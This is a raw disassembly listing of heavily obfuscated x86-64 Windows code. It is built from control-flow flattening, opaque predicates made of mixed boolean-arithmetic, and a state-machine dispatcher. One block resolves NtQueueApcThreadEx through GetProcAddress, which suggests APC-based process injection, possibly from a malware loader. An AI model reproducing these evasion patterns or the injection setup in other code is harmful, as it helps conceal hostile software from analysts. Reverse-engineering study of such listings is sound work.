setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or dl, al
mov r8d, edx
xor r8b, 1
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xcaa5c6f
mov ebp, 0x14ec190c
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xcaa5c6f
cmovne ecx, ebp
test dl, 1
jmp 0x14014088c
cmp ecx, 0x60ae376b
je 0x14013e5b8
cmp ecx, 0x62aefdcd
jne 0x140132830
mov ecx, 0x7afbe234
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xa5c6d286
je 0x14013e75f
cmp ecx, 0xa5f837b6
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xa0010013
mov ebx, ecx
and ebx, 0x402a1840
or ebx, edx
xor ebx, 0x402a1840
mov edx, ecx
xor edx, 0xe02b1853
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x80ee577e
and edx, 0x7f11a881
or edx, ebx
xor edx, 0x60c54f2c
and ebp, 0x16b21974
and ecx, 0xe94de68b
or ecx, ebp
xor ecx, 0xe94de68b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, cl
and al, r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, eax
xor dl, 1
and al, dl
mov r11d, edx
and r11b, al
xor al, dl
or al, r11b
xor al, bl
mov edx, r10d
xor r10b, r9b
and r9b, cl
and dl, r8b
or dl, r9b
or cl, r8b
xor cl, 1
or cl, r10b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
xor cl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xcb55a45e
mov ebp, 0x7996d4bb
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xcb55a45e
jmp 0x140140dec
cmp ecx, 0xeb64fdd5
je 0x14013e903
cmp ecx, 0xeb7de1e9
jne 0x140132830
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xf6dc3db6
mov edx, ecx
and edx, 0x923c249
or edx, ebx
mov ebx, edx
xor ebx, 0x10240
xor edx, 0xf6dc3db6
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0x497add09
and ebx, 0xb68522f6
or ebx, eax
or edx, esi
and esi, 0x497add09
and edi, 0xb68522f6
or edi, esi
xor edi, ebx
not edx
or edx, edi
and ebp, 0x4f5cb9b7
and ecx, 0xb0a34648
or ecx, ebp
mov eax, ecx
xor eax, 0xb0a34648
xor ecx, 0x4f5cb9b7
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
mov ebx, eax
or bl, cl
xor bl, 1
xor al, cl
not al
and al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xb4d35342
mov ebp, 0x179c6760
cmovne ecx, ebp
test dl, 1
mov edx, 0xb4d35342
jmp 0x14013de1a
cmp ecx, 0x1fced52c
je 0x14013ea2f
cmp ecx, 0x1fe423de
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xb0cfa848
and edx, ebp
not ebp
and ebp, 0x35c3d882
and ecx, 0xca3c277d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80040000
xor ecx, 0x30c38800
or ecx, 0x4f3057b7
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x79ab2cf
and ebp, 0xb0450800
or ebp, edi
or ecx, ebx
and ebx, 0x79ab2cf
and edx, 0xf8654d30
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4f3057b7
and ecx, 0xb0cfa848
or ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x7ff9933d
mov edx, ecx
xor edx, 0x7ff9933d
and edx, ecx
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x96a4bd1a
and edx, 0x695b42e5
or edx, ebp
mov ebp, edx
xor ebp, 0xa2d058
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x7900c5aa
and ecx, 0x86ff3a55
or ecx, ebx
mov ebx, ecx
xor ebx, 0xb21854
xor ecx, 0x7900c5aa
xor edx, 0xe95d2e26
mov edi, edx
and edi, 0x9e4d2781
and ebp, 0x61b2d87e
or ebp, edi
or edx, ecx
and ecx, 0x9e4d2781
and ebx, 0x61b2d87e
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x1e1a3517
and edx, 0xe1e5cae8
or edx, ecx
mov ecx, edx
xor ecx, 0xc0810a40
xor edx, 0xa001406
and edx, 0x2b64d4ae
and ecx, 0xd49b2b51
or ecx, edx
mov edx, ecx
xor edx, 0x94882810
xor ecx, 0x20449088
and ecx, 0x605793c9
and edx, 0x9fa86c36
or edx, ecx
xor edx, 0x605793c9
cmp edx, 0xffffffff
sete r9b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, edx
xor cl, al
mov r8d, ecx
xor r8b, 1
and dl, al
and bl, r9b
or bl, dl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
and cl, al
xor al, 1
and al, r8b
or al, cl
mov ecx, r8d
xor cl, dl
or dl, r8b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x2190a101
mov ebp, 0xb27fd30a
cmovne ecx, ebp
test dl, 1
mov edx, 0x2190a101
cmovne edx, ecx
test al, al
jmp 0x14013d55a
cmp ecx, 0x3b8bd520
je 0x14013ea45
cmp ecx, 0x3c872614
jne 0x140132830
mov eax, dword [0x1402656e8]
mov edi, dword [0x1402656e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
or edx, 1
mov eax, edx
not eax
mov ebp, ebx
or ebp, 0x5e5655c6
and edx, 0x5e5655c6
and eax, 0xa1a9aa38
or eax, edx
and ebp, 0x5e5655c7
xor ebp, eax
mov eax, ebp
and ebp, ebx
not ebx
not eax
and ebx, eax
or ebp, ebx
xor eax, ebp
test eax, ebp
setne r8b
sete cl
cmp edi, 0xa
setl r10b
cmp edi, 9
setg dl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or r10b, r8b
xor r10b, 1
mov r9d, ecx
and r9b, r10b
xor r10b, cl
or r10b, r9b
and bl, dl
xor dl, r8b
mov ecx, ebx
xor cl, 1
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, r10d
xor bl, 1
mov eax, ebx
and al, r10b
mov edx, r8d
and dl, cl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x89fe6ec6
mov ebp, 0xb686916
cmovne eax, ebp
test cl, 1
mov ecx, 0x89fe6ec6
jmp 0x140140de6
cmp ecx, 0x4ca1f793
je 0x14013ea5b
cmp ecx, 0x4db40ab5
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ecx
xor ebx, 0x776250ac
and ebx, ebp
mov edx, ecx
and edx, 0x889daf53
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x67fdba76
and edx, 0x98024589
or edx, ebx
xor edx, 0xef601524
and ecx, 0xf6ccb96e
mov ebx, ebp
and ebx, 0x9334691
or ebx, ecx
xor ebx, 0xf6ccb96f
and ebp, 1
or ebp, ebx
not ebp
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xf357f058
and ecx, ebp
not ebp
and ebp, 0x63b69712
and edx, 0x9c4968ed
or edx, ebp
mov ebp, edx
xor ebp, 0x80016000
xor edx, 0x63169010
or edx, 0xca80fa7
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x10749aca
and ebp, 0xe3036010
or ebp, edi
or edx, ebx
and ebx, 0x10749aca
and ecx, 0xef8b6535
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8cd400a4
and edx, 0x732bff5b
or edx, ecx
xor edx, 0x807c0f03
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, r9d
xor bl, al
mov r10d, ebx
and r10b, al
and r8b, al
or al, r9b
xor al, 1
or al, bl
and bl, r9b
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
and dl, r9b
or dl, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov r11d, r10d
xor r11b, 1
mov edx, r11d
and dl, r10b
mov ebx, r8d
and bl, al
mov r9d, r11d
and r9b, dl
xor dl, r11b
or dl, r9b
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
xor r11b, r8b
or al, r10b
xor al, 1
or al, r11b
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x37edb246
mov eax, 0x8c3d9d75
cmovne ecx, eax
test bl, 1
mov r12d, 0x8c3d9d75
cmove ecx, eax
test dl, 1
mov eax, 0x37edb246
jmp 0x140140dec
cmp ecx, 0x92e1a554
je 0x14013ea71
cmp ecx, 0x9413af42
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0x808c0000
mov edx, ebp
and edx, 0x40010c9e
or edx, ecx
xor edx, 0x40010c9e
mov ecx, ebp
xor ecx, 0xc08d0c9e
and ecx, ebp
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x704b1980
and ecx, 0x8fb4e67f
or ecx, edx
mov ebx, ecx
xor ebx, 0x4b310060
xor ecx, 0x8086051e
and ecx, 0x848eef9e
and ebx, 0x7b711061
or ebx, ecx
mov ecx, ebx
xor ecx, 0x28511061
xor ebx, 0x848eef9e
mov edx, ebx
and edx, 0x57244d16
and ecx, 0xa8dbb2e9
or ecx, edx
or ebx, ebp
and ebp, 0x57244d16
and edi, 0xa8dbb2e9
or edi, ebp
xor edi, ecx
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x57803edb
and ebx, 0xa87fc124
or ebx, ecx
xor ebx, 0xa87fc124
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xce199f66
mov ebp, 0xa7c8eb5
jmp 0x14013af4b
cmp ecx, 0xd81ee6be
je 0x14013ebd6
cmp ecx, 0xd8ccaf64
jne 0x140132830
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xee3bfce1
and ecx, 0x11c4031e
or ecx, eax
mov ebp, ecx
xor ebp, 0x828a020
or edx, 0x8a69b831
mov eax, edx
not eax
or ebp, 0x211642c2
and ebp, 0x297ee2f2
and ecx, 0x82011801
or ecx, ebp
and edx, 0x297ee2f2
and eax, 0x5480050c
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0x759647ce
and eax, 0x8a69b831
or eax, ecx
mov ebp, eax
xor ebp, 1
and ebp, eax
mov edx, eax
not edx
and edx, 0xf69cc3dc
and eax, 0x9633c23
or eax, edx
mov edx, eax
xor edx, 0x8010c00
mov ecx, ebp
not ecx
xor eax, 0xf69cc3dd
mov ebx, ecx
and ebx, 0x166333b
and ebp, 0xfe99ccc4
or ebp, ebx
or ecx, eax
and eax, 0x166333b
and edx, 0xfe99ccc4
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x905cae6c
and eax, ecx
or ecx, 0x6fa35193
mov edx, ecx
not edx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x74c846b1
and edx, 0x8014a84c
or edx, ebx
or ecx, ebp
and ebp, 0x74c846b1
and eax, 0x8b37b94e
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5764dde9
and ecx, 0xa89b2216
or ecx, eax
xor ecx, 0x38c78c7a
setne dl
sete r8b
cmp dword [0x1402656e4], 0xa
setl cl
xor dl, r8b
and dl, r8b
mov ebx, edx
xor bl, 1
mov eax, edx
or al, bl
xor dl, al
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
mov ebx, r8d
xor bl, 1
xor r8b, dl
or bl, cl
xor bl, 1
or bl, r8b
xor bl, al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xfab278b3
mov edx, 0xd665458b
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xfab278b3
jmp 0x140140dec
cmp ecx, 0x704800c5
je 0x14013ebec
cmp ecx, 0x710d15bc
jne 0x140132830
mov ecx, 0x2f771836
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xb7bf09e6
je 0x14013ed37
cmp ecx, 0xb8a3dc4a
jne 0x140132830
mov ecx, 0x76797f30
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xfc36eedf
je 0x14013ee41
cmp ecx, 0x2496c50
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x885a30f5
and edx, 0x77a5cf0a
or edx, ecx
mov ebp, edx
xor ebp, 0x63814c02
xor edx, 0x8121010
and edx, 0x1c369318
and ebp, 0xe3c96ce7
or ebp, edx
mov ecx, ebp
xor ecx, 0x1c369318
mov edx, ebp
xor edx, 0x1c369319
and edx, ecx
xor ebp, 0x608940c1
and ebp, 0x6cabc1c9
and ecx, 0x93543e36
or ecx, ebp
xor ecx, 0x93543e37
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xce5ad960
and ecx, 0x31a5269f
or ecx, edx
mov ebx, ecx
xor ebx, 0x800014
xor ecx, 0x108960
or ebp, 0x296ebf4
mov edx, ebp
not edx
or ecx, 0xc4481009
and ecx, 0xc45cbbe9
and ebx, 0x2824014
or ebx, ecx
and ebp, 0xc45cbbe9
and edx, 0x39210402
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xfd69140b
and edx, 0x296ebf4
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x6ad12564
and ecx, 0x952eda9b
or ecx, edx
xor ecx, 0x952eda9b
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and r8b, dl
xor dl, al
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and cl, al
or cl, r8b
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x228f942c
mov ebp, 0x3b23cfbc
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x228f942c
jmp 0x140140dec
cmp ecx, 0x447785ca
je 0x14013ee57
cmp ecx, 0x44fe0463
jne 0x140132830
mov ecx, 0xb7bf09e6
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x89fe6ec6
je 0x14013ef90
cmp ecx, 0x8b1d47e6
jne 0x140132830
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xb88cc672
mov edx, ebp
and edx, 0x4773398c
or edx, ebx
mov ebx, edx
xor ebx, 0x21208c
xor edx, 0xb88cc673
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0xe7d25920
and ebx, 0x182da6de
or ebx, eax
or edx, esi
and esi, 0xe7d25920
and ecx, 0x182da6df
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x9ca9e9dc
and edx, 0x63561623
or edx, eax
xor edx, 0x63561623
and edi, 0x37c96b51
and ebp, 0xc83694ae
or ebp, edi
xor ebp, 0xc83694ae
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x9dddc8eb
and ebp, 0x62223714
or ebp, eax
xor ebp, 0x62223714
sete dl
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
xor r9b, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, r9b
xor cl, 1
and al, dl
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x9cb16a33
mov ebp, 0xd22b379e
cmovne ecx, ebp
test al, 1
mov eax, 0x9cb16a33
cmovne eax, ecx
jmp 0x14013c2c2
cmp ecx, 0xce1c7274
je 0x14013f16c
cmp ecx, 0xce6e27ce
jne 0x140132830
mov ecx, 0x3e77f8b1
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x66f8d8a8
je 0x14013f2f1
cmp ecx, 0x6812484b
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x1c1c2cf
mov ebx, edx
not ebx
or ebp, 0xfe3e3d30
mov ecx, ebp
not ecx
and edx, 0x66553e68
and ebx, 0x982a0110
or ebx, edx
and ebp, 0x66553e68
and ecx, 0x180c087
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x1c1c2cf
and ecx, 0xfe3e3d30
or ecx, edx
mov ebp, ecx
mov edx, ecx
xor edx, 0x6902e62b
and edx, ecx
not ecx
and ecx, 0x1052d4e8
and ebp, 0xefad2b17
or ebp, ecx
mov ecx, ebp
xor ecx, 0xefad2b17
xor ebp, 0x40c400
mov ebx, ecx
and ebx, 0x6902e62b
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xb18dfe91
and edx, 0x4e72016e
or edx, ebx
xor edx, 0x2770e744
and ebp, 0xea4de717
mov ebx, ecx
and ebx, 0x15b218e8
or ebx, ebp
xor ebx, 0xea4de716
and ecx, 1
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x86a4e36b
and ecx, 0x795b1c94
or ecx, ebp
xor ecx, 0x795b1c94
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x34c283bd
and ecx, 0xcb3d7c42
or ecx, edx
mov edx, ecx
xor edx, 0xc3014c02
xor ecx, 0x30008028
and ecx, 0x383cb068
and edx, 0xc7c34f97
or edx, ecx
xor edx, 0xc7c34f97
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xda92ad6
mov ebp, 0x1a60e068
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0xda92ad6
jmp 0x14013281c
cmp ecx, 0xb1c1661d
je 0x14013f307
cmp ecx, 0xb1d1ee4f
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebp, 0xbd9bc7c5
and edx, 0x4264383a
or edx, ebp
mov ebp, edx
xor ebp, 0x3012
xor edx, 0xbd9bc7c5
mov edi, ecx
and edi, 0x627f4eec
and ebx, 0x9d80b113
or ebx, edi
or ecx, edx
and edx, 0x627f4eec
and ebp, 0x9d80b113
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x198a5fd1
and ecx, 0xe675a02e
or ecx, edx
xor ecx, 0xe675a02e
sete r8b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, r9b
and cl, al
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor bl, 1
mov r10d, ebx
xor r10b, dl
or bl, dl
xor bl, 1
or bl, r10b
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, r8d
xor bl, dl
mov ecx, ebx
and cl, r8b
and bl, dl
xor cl, 1
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
xor r9b, r8b
xor r9b, 1
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
xor al, 1
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
xor bl, 1
mov eax, ebx
and al, cl
xor bl, cl
or al, bl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xb4d65409
mov ecx, 0x34d0df31
cmovne edx, ecx
test al, 1
mov ecx, 0xb4d65409
jmp 0x14013f161
cmp ecx, 0xf0bcf5b8
je 0x14013f45c
cmp ecx, 0xf0cdae30
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rcx - 1]
imul esi, ecx
mov ebp, esi
not ebp
mov ebx, esi
or ebx, 0xe595b4cf
mov edi, ebx
not edi
mov edx, ebp
or edx, 0x1a6a4b30
mov ecx, edx
not ecx
and ebx, 0x39ac56ce
and edi, 0x2420930
or edi, ebx
and edx, 0x39ac56ce
and ecx, 0xc411a001
or ecx, edx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xe595b4ce
and ecx, 0x1a6a4b31
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xd0b2a609
and edx, 0x2f4d59f6
or edx, ebx
or ecx, esi
and esi, 0xd0b2a609
and ebp, 0x2f4d59f6
or ebp, esi
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x89cf7960
and ecx, 0x7630869f
or ecx, edx
xor ecx, 0x7630869f
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, cl
xor cl, al
xor al, dl
and al, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor bl, 1
mov r8d, ebx
xor r8b, dl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, al
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, al
mov ecx, 0x90dc0796
mov eax, 0x49bf77ea
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x90dc0796
jmp 0x140140dec
cmp ecx, 0xf5d2631
je 0x14013f590
cmp ecx, 0xf714412
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xc7576987
and edx, 0x38a89678
or edx, ebp
mov ebp, edx
xor ebp, 0x8a00630
xor edx, 0xc7576987
mov edi, edx
and edi, 0xb619d9c8
and ebp, 0x49e62637
or ebp, edi
or edx, ebx
and ebx, 0xb619d9c8
and ecx, 0x49e62637
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, r9b
not dl
and dl, r9b
mov ebx, r10d
or bl, r9b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov edx, ecx
or cl, r9b
and r9b, r10b
and dl, r8b
or dl, r9b
xor r10b, r8b
xor cl, 1
or cl, r10b
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and dl, al
or al, cl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xb4583ccd
mov ebp, 0x66ec5996
cmovne ecx, ebp
test al, 1
mov eax, 0xb4583ccd
jmp 0x14013ee27
cmp ecx, 0x1a60e068
je 0x14013f6a9
cmp ecx, 0x1b656e8e
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xb40bfc6c
and ebx, 0x4bf40393
or ebx, ecx
mov edi, ebx
xor edi, 0x4bf40393
mov edx, ebx
xor edx, 0xb40bfc6c
mov ebp, edi
or ebp, 0x23eb8075
mov ecx, ebp
not ecx
xor ebx, 0x97e07c19
and ebx, edi
mov esi, ebx
not esi
mov eax, ebp
and eax, 0xce3f22d5
and ecx, 0x10005d0a
or ecx, eax
or ebp, esi
and esi, 0xce3f22d5
and ebx, 0x31c0dd2a
or ebx, esi
xor ebx, ecx
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x23eb8074
and ebp, 0xdc147f8b
or ebp, eax
and edi, 0x6a70cd8d
mov eax, edx
and eax, 0x958f3272
or eax, edi
xor eax, 0x6a70cd8c
and edx, 1
or edx, eax
mov eax, edx
not eax
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xdf0b3d63
and ebp, 0x20f4c29c
or ebp, ebx
or ecx, edx
and edx, 0xdf0b3d63
and eax, 0x20f4c29c
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x70a5ed67
and eax, ecx
not ecx
and ecx, 0x70a5ed67
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1eab9faa
and eax, 0xe1546055
or eax, ecx
xor eax, 0x91f18d32
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
mov edx, ebx
and dl, cl
mov eax, ebx
xor al, cl
